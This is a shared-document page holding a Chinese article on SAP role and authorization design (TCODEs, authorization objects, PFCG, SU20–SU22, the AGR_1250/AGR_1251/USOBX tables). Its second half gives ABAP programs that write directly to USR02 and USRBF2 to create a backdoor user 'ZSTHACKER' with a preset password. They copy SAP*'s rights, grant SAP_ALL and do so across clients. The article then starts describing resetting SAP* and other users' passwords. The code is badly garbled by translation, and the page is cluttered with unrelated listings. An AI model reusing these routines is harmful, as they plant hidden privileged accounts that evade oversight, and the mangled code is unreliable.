全文预览已结束
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
设计SAP权限和角色一般来说,权限是“某人能做某事”和“某人不能做某事”的组合。 在SAP系统中,指示单个用户可以在事务代码(也称为事务代码或TCODE或TransactionCode )中进行。 例如,名为MM01的TCODE为了维持资材数据,MIGO用于接受,FS00用于维持会计等。在SU01中创建新ID时,默认权限为空,无法使用此新创建的ID,也无法使用事务代码。 这只要在ID上附加适当的TCODE就能够实现“某人能做的事情”,其补充是“某人不能做的事情”。 但是,因为我们不能直接在SU01上的ID上附加TCODE,所以通过ROLE进行中继。 也就是说,一组TCODE构成一个ROLE,把该ROLE分配给一个ID,该ID得到一个TCODE。以上仅是SAP权限控制的基本概念,为了理解所有的SAP权限控制,需要理解以下概念。1 .角色(ROLE )、公用角色(Common Role )、本地角色(Local Role )如上所述,角色(ROLE )是TCODE的集合,包括TCODE所必需的“权限对象”、“权限字段”、“允许的操作”和“允许的值”等。 使用PFCG保持角色。 根据系统测试和SAP实施项目的逐步需要,将角色进一步分为“常见角色”和“本地角色”。举个例子,共同的作用是“生产订货者”,当地的作用是“长城国际组装一厂生产订货者”。 因此,本地的作用与共同的作用相比,在相同的操作权限(事务代码等)的情况下,前者具体的限制值变多。 此限制可能是组织结构限制或其他业务限制。 例如,一分厂的制单人员不能维持二分厂的制单人员某厂的制造商甲只能维持类型a的发票,但不能维持类型b的发票。 具体来说,请看以下概念。2 .权限对象(Authorization Object )、权限字段(AuthorizationField )、所允许的操作(Activity )和所允许的值粗略地阐述了构成ROLE的是若干TCODE 事实上,ROLE和TCODE之间还有另一个中间概念“权限对象”角色包括若干权限对象,并且透明的表格AGR_1250存储这两者的关系权限对象包括若干权限字段、允许的操作以及允许的值,并且透明表AGR_1251反映出ROLE/Object/Field/Value的关系有一个特殊的权限对象,包含一些事务代码。 此权限对象称为S_TCODE,此权限对象的权限字段称为TCD,此字段允许的值存储事务处理代码有一个特殊的权限字段,允许您创建、修改、查看和删除权限对象。 此权限字段称为ACTVT,允许的值存储允许操作的代码,01表示创建,02表示修改,03表示显示等SAP权限控件由字段级别控制。 换句话说,权限控制机制会检查您是否有权管理透明表格中的栏位。 SAP系统具有多个权限对象,默认情况下控制多个权限字段(对应于透明表中的某些字段)。 您可以使用事务代码SU20检查授予系统的权限字段,并使用SU21检查授予系统的默认权限对象。 因此,了解了事务代码和权限对象的区别。 从权限控制的范围来看,事务代码还可以检查其他常见权限对象,以确定在执行属于特殊权限的事务代码时ID是否具有执行事务代码的权限。 使用SU22查看事务代码中包含的权限对象。 透明表USOBX存储事务代码与权限对象之间的对应关系。3 .自定义权限对象上述系统只能满足有限的权限对象和权限字段需求,权限审计逻辑也是硬编码的,我们只能检查是否启用某个权限对象(使用SU22 )。 如果需要定制,则可以由SU20、SU21定义。 调用时在程序中添加类似的代码authority-checkobjectz _ vkorgidvkorgfieldrec _ vk org-vk org。IF SY-SUBRC 0。MESSAGE No Authorization! 类型eENDIF下一步是建立用户ZSTHACKER (初始口令123qaz ),并将所有权限授予SAP*用户的参考程序。Program ZCRTUSER。Data ZUSR02 like USR02。* * *1. createuserzsthackeraccordingtoddicselect single * intozusr 02 from usr 02where BNAME=DDIC。ZUSR02-BNAME=ZSTHACKER。ZUSR02-Bcode=E3B796BB09F7901B。insert USR02 from ZUSR02。* * *2.复印自动. objfromsap * (ora other )* * *删除where bname=sap *基本上会复制所有许可证对象dataszusbf2likeusffb2occurs0withheaderlineselect * fromusrbf2intotablezusrbf 2where BNAME=SAP*Loop at ZUSRBF2。ZUSRBF2-BNAME=ZSTHACKER。modifyzusbf 2索引- tabixtransportationbname。结束loopinsertususbff2fromtablezusbf2acceptingduplicatekeys。如果SAP*可能被删除,您也可以将TOBJ中包含的所有SAP许可证对象直接授予用户。 以下程序ZALLOBJ是将所有标准的许可对象赋予用户的ZSTHACKER。Program ZALLOBJ .dataztobjliketobjoccurs0withheaderline。datazusbf2likeusffb2。select * into table ztobj from tobj .loop at ztobj .zusrbf2-mandt=sy-mandt。zusrbf2-bname=ZSTHACKER。zusrbf2-objct=ztobj-objct。zusrbf2-auth=_SAP_ALL。修改usr bf2 fromzusrbf 2。结束loop您还可以在客户端之间建立用户或授予用户权限。 只要使用客户端规格就可以了。程序客户端。datazusbf2likeusffb2。select * intozusbf2fromusbff2where bname=sap *Zusrbf2-bname=ZSTHACKER。Zusrbf2-mandt=100insterintitintousffb 2客户端specifiedvalueszusbf 2。结束选择要将SAP*密码更改为123456,请执行以下操作: 同样,假设用户BUTCHER密码丢失,如果在服务器上随意创建名为BUTCHER的用户,并将密码设置为1QAZ2WSX,则任何系统的客户端
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025浙江杭州市委党校萧山区分校招聘事业人员1人笔试模拟试卷附答案解析
- 2025玉溪市峨山县林业和草原局招聘短期综合应急救援队员(11人)备考公基题库附答案解析
- 2025贵州贵阳息烽县城市维护建设发展有限公司面向社会公开选聘工作人员1人备考公基题库带答案解析
- 2025年11月江西赣江新区建昌资产运营集团有限公司面向社会猎聘管理人员1人参考题库带答案解析
- 2025年滁州市第一人民医院公开招聘编外工作人员5人历年真题库附答案解析
- 2025年湖南株洲消防招聘30人笔试模拟试卷带答案解析
- 2025广东清远连山壮族瑶族自治县赴高校招聘教师29人参考题库带答案解析
- 2025年天台县人民政府办公室下属事业单位选聘工作人员1人备考题库带答案解析
- 2026年度中国储备粮管理集团有限公司辽宁分公司公开招聘30人历年真题汇编带答案解析
- 2025福建厦门市集美职业技术学校非在编教师招聘1人模拟试卷附答案解析
- 合作开办农贸市场协议书
- DB31/T 329.21-2019重点单位重要部位安全技术防范系统要求第21部分:养老机构
- 劳务合同的免责协议书模板
- 2025年住房城乡建设领域现场专业人员“三新”技术网络培训考试题库及答案(共130题)
- 学前教育信息化2025年技术创新报告:人工智能在教育领域的应用前景与挑战
- DBJ50T-507-2024 管道直饮水工程技术标准
- 《新能源汽车发展趋势课件解析》
- 广东省深圳市某中学2025届高三年级下册3月一模 历史试题(含解析)
- 2025-2030中国增强回收炭黑(rCB)行业市场发展趋势与前景展望战略研究报告
- 加气站气瓶充装质量保证体系手册2024版
- 岭南疏肝调神针灸技术操作规范
评论
0/150
提交评论